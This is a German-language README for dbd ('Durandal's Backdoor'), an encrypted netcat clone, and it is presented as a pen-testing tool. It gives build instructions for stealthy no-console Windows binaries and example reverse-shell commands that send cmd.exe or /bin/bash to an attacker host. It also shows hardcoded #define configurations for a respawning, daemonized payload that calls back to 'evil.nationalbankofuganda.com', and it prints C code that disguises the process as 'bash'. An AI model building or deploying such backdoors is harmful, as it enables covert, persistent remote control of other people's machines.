
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd wird unter der GNU GPL vertrieben #Mipsbe-Binärdatei hinzugefügt von Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###ÜBERSICHT
dbd ist ein Netcat-Klon, der dafür entwickelt wurde, portabel zu sein und eine starke Verschlüsselung zu bieten. Er läuft auf Unix-ähnlichen Betriebssystemen und auf Microsoft Win32. dbd bietet AES-CBC-128 + HMAC-SHA1-Verschlüsselung (von Christophe Devine), Programmausführung (-e-Option), Auswahl des Quellports, kontinuierliche Wiederverbindung mit Verzögerung und einige andere nette Funktionen. dbd unterstützt ausschließlich TCP/IP-Kommunikation. Quellcode und Binärdateien werden unter der GNU General Public License vertrieben.
###KOMPILIERUNG
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Um dbd unter einem Unix-ähnlichen Betriebssystem zu kompilieren, benötigen Sie gcc und die entsprechenden Entwicklungswerkzeuge. Für Linux, FreeBSD, NetBSD, OpenBSD (und möglicherweise andere) geben Sie Folgendes ein:
$ make unix
Für SunOS/Solaris geben Sie Folgendes ein:
$ make sunos
Um dbd unter Microsoft Windows (NT/2K/XP/2K3) zu kompilieren, benötigen Sie MinGW+MSYS oder Cygwin mit vollständiger Entwicklungsunterstützung (Cygwins MinGW-gcc). Um eine native Win32-Konsolenanwendung von dbd unter Cygwin zu kompilieren, geben Sie Folgendes ein:
$ make win32
oder unter MSYS:
$ make mingw
Um eine Anwendung ohne Konsole ("WinMain") unter Cygwin zu kompilieren, geben Sie Folgendes ein:
$ make win32bg
oder unter MSYS:
$ make mingwbg
Um eine Cygwin-spezifische Konsolenanwendung zu kompilieren, geben Sie Folgendes ein:
$make cygwin
Vielleicht möchten Sie das Standardverhalten von dbd ändern. Eines der wichtigsten Dinge ist dabei, das standardmäßige gemeinsame Geheimnis (Shared Secret) durch Ihre eigene Passphrase zu ersetzen. Bearbeiten Sie dbd.h und ersetzen Sie die Einträge durch Ihre Präferenzen. Sie könnten beispielsweise einen Host + Port fest einprogrammieren, zu dem dbd eine Verbindung aufbaut, wenn es ohne Optionen gestartet wird. Vollständige Beispiele finden Sie in dbd.h.
###BEISPIELANWENDUNGEN
Mit ein wenig Fantasie kann dbd für viele Dinge verwendet werden:
Verwenden Sie dbd, um Dateien sicher zwischen zwei Netzwerken zu übertragen:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
oder von win32 aus:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Verwenden Sie dbd als einfachen (aber sicheren) Chat:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Verwenden Sie dbd als Pen-Test-Backdoor:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
oder unter Unix-ähnlichen Betriebssystemen:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###FEST EINPROGRAMMIERTE OPTIONEN
Zusätzlich zur Verwendung von Befehlszeilenoptionen können Sie Variablen mithilfe von #defines in dbd.h fest einprogrammieren. Setzen Sie dazu die Variablen, die Sie verwenden möchten, als benannte Konstanten und kompilieren Sie wie gewohnt. Wenn Sie beispielsweise eine ausführbare dbd-Datei fest einprogrammieren möchten, die sich mit "evil.nationalbankofuganda.com" auf Port 995 verbindet und "/bin/bash" ausführt, könnten Sie Folgendes ausführen:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
Oder Sie könnten dbd.h mithilfe fest einprogrammierter #defines bearbeiten:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Sie können auch Respawn- und Stealth-Optionen festlegen, um Ihre Verbindung aufrechtzuerhalten:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Dadurch wird die Verbindung so konfiguriert, dass sie sich als Daemon ausführt (im Malware-Jargon: "melt"), niemals eine Ausgabe an STDOUT sendet und versucht, die Verbindung alle 15 Minuten neu aufzubauen, falls sie jemals vom Listener getrennt wird.
###ROMULAN-CLOAKING-TECHNOLOGIE
Jetzt kommen wir zum interessanten Teil. Sobald Sie ein Meister darin sind, Optionen in Ihre Backdoor fest einzuprogrammieren, können Sie die wahrscheinlich unterhaltsamste benannte Konstante verwenden, die uns zur Verfügung steht: CLOAK. Setzen Sie dazu einfach den Wert:
#define CLOAK 1
HINWEIS: Dies funktioniert derzeit nur bei *nix-Kompilierungen. Irgendwann plane ich, Win32-Prozessmigration/Hooking hinzuzufügen, damit auch diese Ziele etwas romulanische Liebe erfahren können.
Für *nix-Umgebungen bereinigt diese Option argv[0] und ersetzt es durch die Zeichenkette "bash\0". Sie bereinigt auch alle anderen argv[]-Einträge (es sähe doch albern aus, wenn ps "bash -e /bin/bash someremotehost.com 443" zurückgeben würde, oder?) Ich hoffe, es versteht sich von selbst, dass Sie diese Option NICHT VERWENDEN KÖNNEN, ES SEI DENN, SIE PROGRAMMIEREN IHRE VARIABLEN FEST IN DBD.H EIN. Wenn Sie das außerdem auf Ihrem eigenen System testen, wird es lustig sein, die richtige PID zum Killen auszuwählen. ;)
Sie können diesen Scrubber gern in allem verwenden, woran Sie gerade arbeiten:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###WARNUNG
Übergeben Sie keine zwischengespeicherten Eingaben (eine Datei mit Befehlen oder Ähnliches) an eine lauschende "dbd -e"-Sitzung. "dbd -e" verwendet Pipes, um Daten zwischen dem ausgeführten Programm und dbd zu übertragen. Pipes werden verwendet (anstelle einfacher direkt durchgereichter duplizierter Dateideskriptoren), da zwischen den Pipes und dem Socket eine Verschlüsselung stattfindet. Um zu verhindern, dass das schreibende Ende einer der Pipes den gesamten Prozess blockiert, habe ich es in einen nicht blockierenden Deskriptor umgewandelt. Es besteht die Möglichkeit, dass bei der Übergabe zu vieler Eingaben auf einmal an das -e-Programm diese abgeschnitten (gekürzt) werden, da der Pipe-Puffer (im Betriebssystem) nicht alle Daten aufnehmen kann. Dieses Problem könnte beispielsweise gelöst werden, indem dbd multithreadfähig gemacht wird, aber ich werde dies aus Kompatibilitätsgründen so lange wie möglich vermeiden.
##CROSS-KOMPILIERUNG
Da dbd für die Interoperabilität mit anderen Tools/Frameworks entwickelt wurde, ermöglicht make nun das Cross-Kompilieren für win32 auf Linux-Systemen, die über die mingw32-gcc-Toolchain verfügen. Diese Optionen sind nahezu identisch mit ihren Windows-nativen Gegenstücken, mit dem Zusatz "-cross" nach dem gewählten Build. Beispiel:
$ make mingw-cross
führt auf einem Linux-System dasselbe aus wie
$ make mingw
es auf einem win32-System mit installiertem mingw/msys tun würde.
Derzeit sind alle Cross-Compile-Optionen mit Blick auf Kali Linux erstellt, sollten aber mit ein wenig Liebe auf jedem *nix funktionieren. Wenn mingw32-gcc installiert ist und make den Build nicht durchführt, bearbeiten Sie die Variable WCC am Anfang der Makefile und tragen Sie den Pfad zu Ihrer mingw32-gcc-Binärdatei ein.
Ab dbd-1.5 können Sie jede Crossbuild-Toolchain zum Kompilieren von dbd verwenden, indem Sie das Toolchain-Präfix als CROSS_COMPILE festlegen. Zum Beispiel ist das Erstellen einer ARM-Version so einfach wie:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##FORTGESCHRITTENE HEXENKUNST
Wenn Sie dbd in ein Exploitation-Framework integrieren möchten, können Sie ein Modul schreiben, das eine benutzerdefinierte dbd.h mit auf Ihr Ziel zugeschnittenen Konfigurationsoptionen generiert. Alles, was in dieser Datei nicht explizit #definiert ist, verwendet weiterhin die Standardwerte, sodass Sie nicht alles im Header schreiben müssen. Beispiel: Entfernen Sie die Datei dbd.h (rm dbd.h) und ersetzen Sie sie durch:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
Rufen Sie dann make auf, um ein sich automatisch verbindendes Payload mit Cloaking und Respawn zu erstellen, das sich zurück zu einem lauschenden dbd-Agenten auf evil.nationalbankofuganda.com verbindet, der mit den folgenden Optionen läuft:
$ dbd -l -p 995 -k customcrypto
Ein weiterer fortgeschrittener Trick besteht darin, dbd mit dietlibc oder uClibc zu kompilieren. Um einen dietlibc-Linux-dbd-Agenten zu kompilieren, verwenden Sie:
$ make unix CROSS_COMPILE="diet -Os "
Achten Sie auf das Leerzeichen nach dem s in der Zeichenkette. Dadurch kann die Makefile gcc mit den standardmäßigen CFLAGS und LDFLAGS hinzufügen, sodass Ihr Agent korrekt erstellt wird. Der Vorteil der Verwendung von dietlibc besteht darin, dass eine sehr kleine, zu 100 % statische ausführbare Datei für die Zielumgebung erzeugt wird (etwa 70 KB für einen Linux-dbd-Agenten vor dem Packen, im Gegensatz zu den üblichen 700 KB+ mit glibc und gcc -static). Die Verwendung von uClibc ist sogar noch einfacher, da Sie lediglich das Crossbuild-Präfix für Ihre Toolchain unter CROSS_COMPILE festlegen müssen.
##LIZENZ
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]
Dieses Programm ist freie Software; Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, weitergeben und/oder modifizieren, entweder in Version 2 der Lizenz oder (nach Ihrer Wahl) in jeder späteren Version.
Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, aber OHNE JEGLICHE GARANTIE; auch ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Einzelheiten finden Sie in der GNU General Public License.
Sie sollten zusammen mit diesem Programm eine Kopie der GNU General Public License erhalten haben; wenn nicht, schreiben Sie an die Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Die AES-CBC-128 + HMAC-SHA1-Implementierung von dbd ist Copyright (C) Christophe Devine [email protected] und wird unter der GNU General Public License (GPL) vertrieben.
Ein Teil des Codes (für doexec_win32.h) wurde aus doexec.c des Win32-Ports von Netcat (C) Weld Pond und hobbit abgeleitet. Teile von doexec.c sind Copyright (C) 1994 Nathaniel W. Mishkin (der Code von doexec.c wurde ursprünglich von rlogind.exe abgeleitet).
Die Originalversion von Netcat wurde von hobbit [email protected] geschrieben. Die NT-Version wurde von Weld Pond [email protected] erstellt.
(C) Kyle Barnthouse [email protected]
Sicherheitsberater
gitbrew.org
Hephaestus Security